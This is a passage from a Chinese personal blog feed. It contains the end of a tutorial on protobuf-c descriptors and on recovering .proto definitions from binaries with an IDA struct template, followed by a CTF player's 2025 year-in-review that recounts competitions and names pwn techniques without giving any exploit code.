<span class="line">  &#123;</span>
<span class="line">    <span class="string">&quot;key&quot;</span>,</span>
<span class="line">    <span class="number">3</span>,</span>
<span class="line">    PROTOBUF_C_LABEL_OPTIONAL,</span>
<span class="line">    PROTOBUF_C_TYPE_BYTES,</span>
<span class="line">    offsetof(Msg, has_key),</span>
<span class="line">    offsetof(Msg, key),</span>
<span class="line">    <span class="literal">NULL</span>,</span>
<span class="line">    <span class="literal">NULL</span>,</span>
<span class="line">    <span class="number">0</span>,             <span class="comment">/* flags */</span></span>
<span class="line">    <span class="number">0</span>,<span class="literal">NULL</span>,<span class="literal">NULL</span>    <span class="comment">/* reserved1,reserved2, etc */</span></span>
<span class="line">  &#125;,</span>
<span class="line">&#125;;</span>
<span class="line"><span class="type">static</span> <span class="type">const</span> <span class="type">unsigned</span> msg__field_indices_by_name[] = &#123;</span>
<span class="line">  <span class="number">0</span>,   <span class="comment">/* field[0] = id */</span></span>
<span class="line">  <span class="number">2</span>,   <span class="comment">/* field[2] = key */</span></span>
<span class="line">  <span class="number">1</span>,   <span class="comment">/* field[1] = name */</span></span>
<span class="line">&#125;;</span>
<span class="line"><span class="type">static</span> <span class="type">const</span> ProtobufCIntRange msg__number_ranges[<span class="number">1</span> + <span class="number">1</span>] =</span>
<span class="line">&#123;</span>
<span class="line">  &#123; <span class="number">1</span>, <span class="number">0</span> &#125;,</span>
<span class="line">  &#123; <span class="number">0</span>, <span class="number">3</span> &#125;</span>
<span class="line">&#125;;</span>
<span class="line"><span class="type">const</span> ProtobufCMessageDescriptor msg__descriptor =</span>
<span class="line">&#123;</span>
<span class="line">  PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC,</span>
<span class="line">  <span class="string">&quot;msg&quot;</span>,</span>
<span class="line">  <span class="string">&quot;Msg&quot;</span>,</span>
<span class="line">  <span class="string">&quot;Msg&quot;</span>,</span>
<span class="line">  <span class="string">&quot;&quot;</span>,</span>
<span class="line">  <span class="keyword">sizeof</span>(Msg),</span>
<span class="line">  <span class="number">3</span>,</span>
<span class="line">  msg__field_descriptors,</span>
<span class="line">  msg__field_indices_by_name,</span>
<span class="line">  <span class="number">1</span>,  msg__number_ranges,</span>
<span class="line">  (ProtobufCMessageInit) msg__init,</span>
<span class="line">  <span class="literal">NULL</span>,<span class="literal">NULL</span>,<span class="literal">NULL</span>    <span class="comment">/* reserved[123] */</span></span>
<span class="line">&#125;;</span>
<span class="line"></span>
</pre></td></tr></table></figure>

<p>程序输出结果：</p>
<p><img src="https://imi-imiab.com/images/posts/ed6858bc721dffac6a2f.jpg" alt="98e8de5de4b86f3d0078042f42968d4f\_MD5" loading="lazy" decoding="async"></p>
<h3 id="rpc协议支持"><a href="https://imi-imiab.com/posts/cnblogs-19729318/#rpc%E5%8D%8F%E8%AE%AE%E6%94%AF%E6%8C%81" class="headerlink" title="rpc协议支持"></a>rpc协议支持</h3><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">service SearchService &#123;</span>
<span class="line">  rpc <span class="title function_">Search</span><span class="params">(SearchRequest)</span> <span class="title function_">returns</span> <span class="params">(SearchResponse)</span>;</span>
<span class="line">&#125;</span>
</pre></td></tr></table></figure>

<p>rpc（Remote Produce Call）是一种通信协议，让你可以调用远程服务器上的函数，就如同调用本地的函数一样。protobuf支持这个，但是你需要自己提供rpc框架。</p>
<p>后面可以跟gRPC结合，详细放到新的文档写吧。</p>
<h1 id="逆向"><a href="https://imi-imiab.com/posts/cnblogs-19729318/#%E9%80%86%E5%90%91" class="headerlink" title="逆向"></a>逆向</h1><p>定位结构体，逆向通信协议，然后根据结构体把<code>.proto</code>文件重新写出来，然后用proto生成.py接口就行了。</p>
<p>这里有魔数可以定位。</p>
<p><img src="https://imi-imiab.com/images/posts/c2a2ebbbab2d3a134f9f.jpg" alt="1aa7578a02f006650c2fb20506019b5b\_MD5" loading="lazy" decoding="async"></p>
<p>然后就是把类型一个一个套上去，根据宏的名字把<code>.proto</code>反推就行了ovo</p>
<h1 id="叽里咕噜说什么呢跟我结构体板子说去吧"><a href="https://imi-imiab.com/posts/cnblogs-19729318/#%E5%8F%BD%E9%87%8C%E5%92%95%E5%99%9C%E8%AF%B4%E4%BB%80%E4%B9%88%E5%91%A2%E8%B7%9F%E6%88%91%E7%BB%93%E6%9E%84%E4%BD%93%E6%9D%BF%E5%AD%90%E8%AF%B4%E5%8E%BB%E5%90%A7" class="headerlink" title="叽里咕噜说什么呢跟我结构体板子说去吧"></a>叽里咕噜说什么呢跟我结构体板子说去吧</h1><p>右键<code>parse statements</code>全部导入，然后想要恢复哪个结构体自己填</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">enum</span> &#123;</span></span>
<span class="line"> PROTOBUF_C_FIELD_FLAG_PACKED = (<span class="number">1</span> &lt;&lt; <span class="number">0</span>),</span>
<span class="line"> PROTOBUF_C_FIELD_FLAG_DEPRECATED = (<span class="number">1</span> &lt;&lt; <span class="number">1</span>),</span>
<span class="line"> PROTOBUF_C_FIELD_FLAG_ONEOF = (<span class="number">1</span> &lt;&lt; <span class="number">2</span>),</span>
<span class="line">&#125; ProtobufCFieldFlag;</span>
<span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">enum</span> &#123;</span></span>
<span class="line"> PROTOBUF_C_LABEL_REQUIRED,</span>
<span class="line"> PROTOBUF_C_LABEL_OPTIONAL,</span>
<span class="line"> PROTOBUF_C_LABEL_REPEATED,</span>
<span class="line"> PROTOBUF_C_LABEL_NONE,</span>
<span class="line">&#125; ProtobufCLabel;</span>
<span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">enum</span> &#123;</span></span>
<span class="line"> PROTOBUF_C_TYPE_INT32,</span>
<span class="line"> PROTOBUF_C_TYPE_SINT32,</span>
<span class="line"> PROTOBUF_C_TYPE_SFIXED32,</span>
<span class="line"> PROTOBUF_C_TYPE_INT64,</span>
<span class="line"> PROTOBUF_C_TYPE_SINT64,</span>
<span class="line"> PROTOBUF_C_TYPE_SFIXED64,</span>
<span class="line"> PROTOBUF_C_TYPE_UINT32,</span>
<span class="line"> PROTOBUF_C_TYPE_FIXED32,</span>
<span class="line"> PROTOBUF_C_TYPE_UINT64,</span>
<span class="line"> PROTOBUF_C_TYPE_FIXED64,</span>
<span class="line"> PROTOBUF_C_TYPE_FLOAT,</span>
<span class="line"> PROTOBUF_C_TYPE_DOUBLE,</span>
<span class="line"> PROTOBUF_C_TYPE_BOOL,</span>
<span class="line"> PROTOBUF_C_TYPE_ENUM,</span>
<span class="line"> PROTOBUF_C_TYPE_STRING,</span>
<span class="line"> PROTOBUF_C_TYPE_BYTES,</span>
<span class="line"> PROTOBUF_C_TYPE_MESSAGE,</span>
<span class="line">&#125; ProtobufCType;</span>
<span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">enum</span> &#123;</span></span>
<span class="line"> PROTOBUF_C_WIRE_TYPE_VARINT = <span class="number">0</span>,</span>
<span class="line"> PROTOBUF_C_WIRE_TYPE_64BIT = <span class="number">1</span>,</span>
<span class="line"> PROTOBUF_C_WIRE_TYPE_LENGTH_PREFIXED = <span class="number">2</span>,</span>
<span class="line"> PROTOBUF_C_WIRE_TYPE_32BIT = <span class="number">5</span>,</span>
<span class="line">&#125; ProtobufCWireType;</span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCAllocator</span>;</span></span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCBinaryData</span>;</span></span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCBuffer</span>;</span></span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCBufferSimple</span>;</span></span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCEnumDescriptor</span>;</span></span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCEnumValue</span>;</span></span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCEnumValueIndex</span>;</span></span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCFieldDescriptor</span>;</span></span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCIntRange</span>;</span></span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCMessage</span>;</span></span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCMessageDescriptor</span>;</span></span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCMessageUnknownField</span>;</span></span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCMethodDescriptor</span>;</span></span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCService</span>;</span></span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCServiceDescriptor</span>;</span></span>
<span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCAllocator</span> <span class="title">ProtobufCAllocator</span>;</span></span>
<span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCBinaryData</span> <span class="title">ProtobufCBinaryData</span>;</span></span>
<span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCBuffer</span> <span class="title">ProtobufCBuffer</span>;</span></span>
<span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCBufferSimple</span> <span class="title">ProtobufCBufferSimple</span>;</span></span>
<span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCEnumDescriptor</span> <span class="title">ProtobufCEnumDescriptor</span>;</span></span>
<span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCEnumValue</span> <span class="title">ProtobufCEnumValue</span>;</span></span>
<span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCEnumValueIndex</span> <span class="title">ProtobufCEnumValueIndex</span>;</span></span>
<span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCFieldDescriptor</span> <span class="title">ProtobufCFieldDescriptor</span>;</span></span>
<span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCIntRange</span> <span class="title">ProtobufCIntRange</span>;</span></span>
<span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCMessage</span> <span class="title">ProtobufCMessage</span>;</span></span>
<span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCMessageDescriptor</span> <span class="title">ProtobufCMessageDescriptor</span>;</span></span>
<span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCMessageUnknownField</span> <span class="title">ProtobufCMessageUnknownField</span>;</span></span>
<span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCMethodDescriptor</span> <span class="title">ProtobufCMethodDescriptor</span>;</span></span>
<span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCService</span> <span class="title">ProtobufCService</span>;</span></span>
<span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCServiceDescriptor</span> <span class="title">ProtobufCServiceDescriptor</span>;</span></span>
<span class="line"><span class="keyword">typedef</span> <span class="type">int</span> protobuf_c_boolean;</span>
<span class="line"><span class="keyword">typedef</span> <span class="title function_">void</span> <span class="params">(*ProtobufCClosure)</span><span class="params">(<span class="type">const</span> ProtobufCMessage *, <span class="type">void</span> *closure_data)</span>;</span>
<span class="line"><span class="keyword">typedef</span> <span class="title function_">void</span> <span class="params">(*ProtobufCMessageInit)</span><span class="params">(ProtobufCMessage *)</span>;</span>
<span class="line"><span class="keyword">typedef</span> <span class="title function_">void</span> <span class="params">(*ProtobufCServiceDestroy)</span><span class="params">(ProtobufCService *)</span>;</span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCAllocator</span> &#123;</span></span>
<span class="line"> <span class="type">void</span> *(*alloc)(<span class="type">void</span> *allocator_data, <span class="type">size_t</span> size);</span>
<span class="line"> <span class="type">void</span> (*<span class="built_in">free</span>)(<span class="type">void</span> *allocator_data, <span class="type">void</span> *pointer);</span>
<span class="line"> <span class="type">void</span> *allocator_data;</span>
<span class="line">&#125;;</span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCBinaryData</span> &#123;</span></span>
<span class="line"> <span class="type">size_t</span> len;</span>
<span class="line"> <span class="type">uint8_t</span> *data;</span>
<span class="line">&#125;;</span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCBuffer</span> &#123;</span></span>
<span class="line"> <span class="type">void</span> (*append)(ProtobufCBuffer *buffer,</span>
<span class="line">      <span class="type">size_t</span> len,</span>
<span class="line">      <span class="type">const</span> <span class="type">uint8_t</span> *data);</span>
<span class="line">&#125;;</span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCBufferSimple</span> &#123;</span></span>
<span class="line"> ProtobufCBuffer base;</span>
<span class="line"> <span class="type">size_t</span> alloced;</span>
<span class="line"> <span class="type">size_t</span> len;</span>
<span class="line"> <span class="type">uint8_t</span> *data;</span>
<span class="line"> protobuf_c_boolean must_free_data;</span>
<span class="line"> ProtobufCAllocator *allocator;</span>
<span class="line">&#125;;</span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCEnumDescriptor</span> &#123;</span></span>
<span class="line"> <span class="type">uint32_t</span> magic;</span>
<span class="line"> <span class="type">const</span> <span class="type">char</span> *name;</span>
<span class="line"> <span class="type">const</span> <span class="type">char</span> *short_name;</span>
<span class="line"> <span class="type">const</span> <span class="type">char</span> *c_name;</span>
<span class="line"> <span class="type">const</span> <span class="type">char</span> *package_name;</span>
<span class="line"> <span class="type">unsigned</span> n_values;</span>
<span class="line"> <span class="type">const</span> ProtobufCEnumValue *values;</span>
<span class="line"> <span class="type">unsigned</span> n_value_names;</span>
<span class="line"> <span class="type">const</span> ProtobufCEnumValueIndex *values_by_name;</span>
<span class="line"> <span class="type">unsigned</span> n_value_ranges;</span>
<span class="line"> <span class="type">const</span> ProtobufCIntRange *value_ranges;</span>
<span class="line"> <span class="type">void</span> *reserved1;</span>
<span class="line"> <span class="type">void</span> *reserved2;</span>
<span class="line"> <span class="type">void</span> *reserved3;</span>
<span class="line"> <span class="type">void</span> *reserved4;</span>
<span class="line">&#125;;</span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCEnumValue</span> &#123;</span></span>
<span class="line"> <span class="type">const</span> <span class="type">char</span> *name;</span>
<span class="line"> <span class="type">const</span> <span class="type">char</span> *c_name;</span>
<span class="line"> <span class="type">int</span> value;</span>
<span class="line">&#125;;</span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCEnumValueIndex</span> &#123;</span></span>
<span class="line"> <span class="type">const</span> <span class="type">char</span> *name;</span>
<span class="line"> <span class="type">unsigned</span> index;</span>
<span class="line">&#125;;</span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCFieldDescriptor</span> &#123;</span></span>
<span class="line"> <span class="type">const</span> <span class="type">char</span> *name;</span>
<span class="line"> <span class="type">uint32_t</span> id;</span>
<span class="line"> ProtobufCLabel label;</span>
<span class="line"> ProtobufCType type;</span>
<span class="line"> <span class="type">unsigned</span> quantifier_offset;</span>
<span class="line"> <span class="type">unsigned</span> offset;</span>
<span class="line"> <span class="type">const</span> <span class="type">void</span> *descriptor;</span>
<span class="line"> <span class="type">const</span> <span class="type">void</span> *default_value;</span>
<span class="line"> <span class="type">uint32_t</span> flags;</span>
<span class="line"> <span class="type">unsigned</span> reserved_flags;</span>
<span class="line"> <span class="type">void</span> *reserved2;</span>
<span class="line"> <span class="type">void</span> *reserved3;</span>
<span class="line">&#125;;</span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCIntRange</span> &#123;</span></span>
<span class="line"> <span class="type">int</span> start_value;</span>
<span class="line"> <span class="type">unsigned</span> orig_index;</span>
<span class="line">&#125;;</span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCMessage</span> &#123;</span></span>
<span class="line"> <span class="type">const</span> ProtobufCMessageDescriptor *descriptor;</span>
<span class="line"> <span class="type">unsigned</span> n_unknown_fields;</span>
<span class="line"> ProtobufCMessageUnknownField *unknown_fields;</span>
<span class="line">&#125;;</span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCMessageDescriptor</span> &#123;</span></span>
<span class="line"> <span class="type">uint32_t</span> magic;</span>
<span class="line"> <span class="type">const</span> <span class="type">char</span> *name;</span>
<span class="line"> <span class="type">const</span> <span class="type">char</span> *short_name;</span>
<span class="line"> <span class="type">const</span> <span class="type">char</span> *c_name;</span>
<span class="line"> <span class="type">const</span> <span class="type">char</span> *package_name;</span>
<span class="line"> <span class="type">size_t</span> sizeof_message;</span>
<span class="line"> <span class="type">unsigned</span> n_fields;</span>
<span class="line"> <span class="type">const</span> ProtobufCFieldDescriptor *fields;</span>
<span class="line"> <span class="type">const</span> <span class="type">unsigned</span> *fields_sorted_by_name;</span>
<span class="line"> <span class="type">unsigned</span> n_field_ranges;</span>
<span class="line"> <span class="type">const</span> ProtobufCIntRange *field_ranges;</span>
<span class="line"> ProtobufCMessageInit message_init;</span>
<span class="line"> <span class="type">void</span> *reserved1;</span>
<span class="line"> <span class="type">void</span> *reserved2;</span>
<span class="line"> <span class="type">void</span> *reserved3;</span>
<span class="line">&#125;;</span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCMessageUnknownField</span> &#123;</span></span>
<span class="line"> <span class="type">uint32_t</span> tag;</span>
<span class="line"> ProtobufCWireType wire_type;</span>
<span class="line"> <span class="type">size_t</span> len;</span>
<span class="line"> <span class="type">uint8_t</span> *data;</span>
<span class="line">&#125;;</span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCMethodDescriptor</span> &#123;</span></span>
<span class="line"> <span class="type">const</span> <span class="type">char</span> *name;</span>
<span class="line"> <span class="type">const</span> ProtobufCMessageDescriptor *input;</span>
<span class="line"> <span class="type">const</span> ProtobufCMessageDescriptor *output;</span>
<span class="line">&#125;;</span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCService</span> &#123;</span></span>
<span class="line"> <span class="type">const</span> ProtobufCServiceDescriptor *descriptor;</span>
<span class="line"> <span class="type">void</span> (*invoke)(ProtobufCService *service,</span>
<span class="line">         <span class="type">unsigned</span> method_index,</span>
<span class="line">         <span class="type">const</span> ProtobufCMessage *input,</span>
<span class="line">         ProtobufCClosure closure,</span>
<span class="line">         <span class="type">void</span> *closure_data);</span>
<span class="line"> <span class="type">void</span> (*destroy)(ProtobufCService *service);</span>
<span class="line">&#125;;</span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ProtobufCServiceDescriptor</span> &#123;</span></span>
<span class="line"> <span class="type">uint32_t</span> magic;</span>
<span class="line"> <span class="type">const</span> <span class="type">char</span> *name;</span>
<span class="line"> <span class="type">const</span> <span class="type">char</span> *short_name;</span>
<span class="line"> <span class="type">const</span> <span class="type">char</span> *c_name;</span>
<span class="line"> <span class="type">const</span> <span class="type">char</span> *package;</span>
<span class="line"> <span class="type">unsigned</span> n_methods;</span>
<span class="line"> <span class="type">const</span> ProtobufCMethodDescriptor *methods;</span>
<span class="line"> <span class="type">const</span> <span class="type">unsigned</span> *method_indices_by_name;</span>
<span class="line">&#125;;</span>
</pre></td></tr></table></figure>

<h1 id="叽里咕噜说什么呢跟我自动化脚本说去吧"><a href="https://imi-imiab.com/posts/cnblogs-19729318/#%E5%8F%BD%E9%87%8C%E5%92%95%E5%99%9C%E8%AF%B4%E4%BB%80%E4%B9%88%E5%91%A2%E8%B7%9F%E6%88%91%E8%87%AA%E5%8A%A8%E5%8C%96%E8%84%9A%E6%9C%AC%E8%AF%B4%E5%8E%BB%E5%90%A7" class="headerlink" title="叽里咕噜说什么呢跟我自动化脚本说去吧"></a>叽里咕噜说什么呢跟我自动化脚本说去吧</h1><p>有pbtk，实测识别不太出来</p>
<p>也有auto-re，实测太久没人维护（6years ago）</p>
<p>&#x2F;&#x2F; todo</p>
]]></content>
</entry>
<entry>
<title type="text">二0二午</title>
<id>https://imi-imiab.com/posts/cnblogs-19428486/</id>
<link rel="alternate" type="text/html" href="https://imi-imiab.com/posts/cnblogs-19428486/"/>
<author><name>imiab</name></author>
<published>2025-12-31T05:44:00.000Z</published>
<updated>2025-12-31T05:47:00.000Z</updated>
<category term="Life" scheme="https://imi-imiab.com/categories/Life/"/>
<category term="年度记录" scheme="https://imi-imiab.com/tags/%E5%B9%B4%E5%BA%A6%E8%AE%B0%E5%BD%95/"/>
<summary type="text">2025 又是一事无成的一年... 一月。。。？？？ 我全忘了，一月我做了什么。大概是在为期末周焦头烂额。 开学的时候还天天看高数想卷绩点，最后考完居然是倒数吗，哈哈...（被9.5学分英语肘飞了） 现在回想起来这个时候的我应该还只是一个小菜鸡，一直说要学house of cat、高版本堆之类的，但</summary>
<content type="html" xml:base="https://imi-imiab.com/posts/cnblogs-19428486/"><![CDATA[<h1 id="2025"><a href="https://imi-imiab.com/posts/cnblogs-19428486/#2025" class="headerlink" title="2025"></a>2025</h1><p>又是一事无成的一年…</p>
<h1 id="一月。。。？？？"><a href="https://imi-imiab.com/posts/cnblogs-19428486/#%E4%B8%80%E6%9C%88%E3%80%82%E3%80%82%E3%80%82%EF%BC%9F%EF%BC%9F%EF%BC%9F" class="headerlink" title="一月。。。？？？"></a>一月。。。？？？</h1><p>我全忘了，一月我做了什么。大概是在为期末周焦头烂额。</p>
<p>开学的时候还天天看高数想卷绩点，最后考完居然是倒数吗，哈哈…（被<code>9.5</code>学分英语肘飞了）</p>
<p>现在回想起来这个时候的我应该还只是一个小菜鸡，一直说要学<code>house of cat</code>、高版本堆之类的，但是始终看不懂。一些堆虽然会打，源码看不明白，也是写个云里雾里。</p>
<p>似乎没有发生什么事情，也没什么比赛。有一个<code>ichunqiu2025</code>，但是那会儿我在坐火车，好像还跟哪个比赛撞了，总之就是没有写。</p>
<h1 id="二月"><a href="https://imi-imiab.com/posts/cnblogs-19428486/#%E4%BA%8C%E6%9C%88" class="headerlink" title="二月"></a>二月</h1><p>终于回到家…</p>
<p>打了<code>VNCTF</code>和<code>N1Junoior</code>，成绩还算不错 <em><strong>ZvZ</strong></em></p>
<p>这个时候我居然还不会写<code>markdown</code>…</p>
<p><img src="https://imi-imiab.com/images/posts/880b9d05c1d9e9788e4d.png" alt="image" loading="lazy" decoding="async"></p>
<p>（好可怕，怎么我还不会写<code>markdown</code>）</p>
<p><code>VNCTF</code>最后是写出来四题，然后<code>N1Junior</code>写出来三题</p>
<p>题目质量都很高，印象深刻.jpg</p>
<p>当时<code>VNCTF</code>考了一个小众架构pwn<code>hexagon</code>，逼得我降了<code>ida</code>版本后硬怼汇编，还好里面只是一个简单的栈迁移，所以调好环境很快就做出来了</p>
<p>当时第一天好像还上了一个<code>kernel</code>文件竞争，还有一个神秘的<code>CPP vm</code>，<del>当时还以为自己要爆零了</del>，还好后面的题目难度不高，把我捞上来了。</p>
<p><code>Late-binding</code>本来考的是<code>house of muney</code>，结果好像被我非了（<code>edit</code>的<code>index</code>是<code>int</code>，离<code>pie</code>比较近，能直接编辑到<code>heaplist</code>，然后就任意读写了.jpg）</p>
<p><del>后面说要复现但是到现在都还没复现，在今年12月的<code>seccon</code>上也考了一遍，嗯…</del></p>
<p><code>N1j</code>则考了一个单次非栈上短<code>fmt</code>？还考了一个<code>setcontext</code>加<code>magic gadget</code>，总之是顺利拿下了。</p>
<p>还有一个<code>Old wine</code>，<code>2.23</code>彩蛋堆，用<code>environ</code>泄漏栈地址，然后打到堆上，利用输入的残留<code>index</code>转栈溢出</p>
<p><del>我靠，原来那时候的我这么强吗？好可怕…</del></p>
<p>后面顺利加入了<code>N1J</code>，算是进入了一个全新的阶段吧。</p>
<p>接下来跟着联队打了第一场比赛，被<code>ret2vdso</code>肘飞，不过被队里的大手子秒了。</p>
<p>有一个<code>TRX BANK</code>考了个非常隐晦的地址泄漏，虽然当时我好不容易看出来，但是不会打<code>io</code>，最后遗憾离场。</p>
<p>（唉，所以其实还是挺菜的，一直想训练自己的源码阅读能力来着，校内的另一个队友赛后很快就找到了思路，但是我还在和源码缠斗…当然，现在对我来说已经是小case了 <strong>z3z</strong>）</p>
<p>冷冷清清的二月很快就过去了，接下来是三月…</p>
<h1 id="三月"><a href="https://imi-imiab.com/posts/cnblogs-19428486/#%E4%B8%89%E6%9C%88" class="headerlink" title="三月"></a>三月</h1><p>马上赶到战场的是，有史以来最难的新生赛<code>GHCTF</code></p>
<p>（我这个时候开始用<code>ChatGPT</code>了吗？不知道，我记得我非常晚才搞到了梯子，之前一直用文心一言，让我对人工智能产生了极大的阴影…）</p>
<p>欢迎来到<code>llvm-pwn</code>、<code>v8pwn</code>和<code>webpwn</code>（这个本来不应该和前面两个摆在一起的，只是我太唐了怎么这个都没做出来…）</p>
<p>（<code>webpwn</code>其实漏洞在后面的<code>httpd</code>里面，而且出得很简单，我却一直在研究前端的水果忍者，呃…）</p>
<p>然后<code>llvm</code>根本看不懂呀，<code>v8</code>也看不懂，最后写出来5题遗憾离场了…</p>
<p><code>TPCTF</code>…跳过吧，爆0了</p>
<p>不对，赛后好像挖出了一个<code>webpwn</code>的洞，一个很简单的栈溢出（经典赛后随便乱杀）</p>
<p>总的来说，三月好像学了很多，但其实感觉什么也没学，然后就这样过去了…</p>
<p>跟着联队打也是签到题收割机（不是），一般来说只有大比赛的时候大手子才会下场，其实现在看一队新生能打出那样的成绩其实还挺不错的（呃，不错吗，不错在哪）</p>
<p>认识了<code>scu</code>的<code>littflower</code>，当时感觉他话好少，看起来好厉害（好厉害）</p>
<p>（然后视奸博客，发现居然还会开发，又自卑了…）</p>
<p>哦，原来<code>ciscn</code>是三月的，这么早，我还以为四五月</p>
<p><code>web</code>和渗透太难了，队友们也不是很擅长渗透，而且我的<code>pwn</code>打得也很烂，最后没打进去，有点遗憾…</p>
<p>线下见到了联队大手子<code>tplus</code>，我是修2做0,他是做2修0（好神奇）</p>
<p>请教堆题怎么打，他说可以覆盖<code>stdout</code>低位打爆破，当时没听懂（呃，那会儿打<code>IO</code>我还知会套板子，好惭愧）</p>
<h1 id="四月"><a href="https://imi-imiab.com/posts/cnblogs-19428486/#%E5%9B%9B%E6%9C%88" class="headerlink" title="四月"></a>四月</h1><p>打了神秘的<code>XYCTF</code>和阴间CTF</p>
<p>（因为打<code>XYCTF</code>导致我阴间CTF痛失一血，然后我的<code>R.E.P.O.</code>就这样没了）</p>
<p>（后面<code>XY</code>好像打得也不是很好，双输。）</p>
<p>偷偷打了<code>NPCfinal</code>，最后被<code>rust pwn</code>肘飞。怎么往<code>pwn</code>里出<code>rust</code>…</p>
<p>然后打了商丘，轻松<del>AK</del>了（有一个<code>pwn</code>附件密码要用<code>misc</code>的<code>flag</code>解锁，然后那题没看）</p>
<p>打<code>tgctf</code>，第一次和<code>littflower</code>一起看题，发现<code>littflower</code>其实是笨蛋（？）两个小唐人看半天没想起来<code>magic gadget</code>（学长也没想起来，气笑了）</p>
<p>最后自己写了个爆破<code>1/16</code>的解法，远程还有<code>ld</code>不同导致的偏移不同，直接写了4份爆破脚本发给每一个人，最后比赛快结束的时候出了…</p>
<p>（唐完了，没绷住）</p>
<p>认识了非常厉害的<code>柯.</code>师傅，他也没看出<code>magic gadget</code>，绷不住了。</p>
<p>（后面是一个<code>zig heap</code>，混用了两种堆管理器导致出了问题，但是没逆出来）</p>
<p>（最后还是被别的师傅给解出来了，还是不够强啊…<code>T,T</code>）</p>
<p>然后打了<code>ACTF</code>，四道题非了三道，绷不住了。</p>
<p><img src="https://imi-imiab.com/images/posts/bc4d3b873bed12ddd760.png" alt="image-1" loading="lazy" decoding="async"></p>
<p>初见端倪栈风水，感觉三月和四月就是在<code>only read</code>和<code>only read</code>中度过</p>
<p>（<del>为后面的SUPER栈风水埋下伏笔</del>）</p>
<h1 id="五月"><a href="https://imi-imiab.com/posts/cnblogs-19428486/#%E4%BA%94%E6%9C%88" class="headerlink" title="五月"></a>五月</h1><p>打了<code>iscc</code>，第一次在比赛过程中写出了内核题，虽然也很简单吧…</p>
<p>后面还有<code>mini-L</code>，但是打得也不是很愉快，哎</p>
<p>后面就是跟着联队打比赛，打京麒，学长把线下的机会让给小登了（学长真好）</p>
<p>然后在轩辕ctf打出了第一场<code>AAK</code>，拿下了四快1T硬盘，算是这个月比较开心的时候吧。</p>
<h1 id="六月"><a href="https://imi-imiab.com/posts/cnblogs-19428486/#%E5%85%AD%E6%9C%88" class="headerlink" title="六月"></a>六月</h1><p>跟着联队打比赛…没做什么，期末周头疼…</p>
<p>七月十四号放寒假，<code>ctfer</code>至暗时刻</p>
<h1 id="七月"><a href="https://imi-imiab.com/posts/cnblogs-19428486/#%E4%B8%83%E6%9C%88" class="headerlink" title="七月"></a>七月</h1><p>去京麒打了线下，见到了好多师傅（好多吗，并非）</p>
<p>神秘社交绝缘体。</p>
<p>只写出来一个非预期<code>v8</code>菜哭了，一个要在<code>docker</code>里面调的程序，现在没搞清楚</p>
<p>然后就一直问<code>AI</code>，好崩溃，不想回忆那段经历。</p>
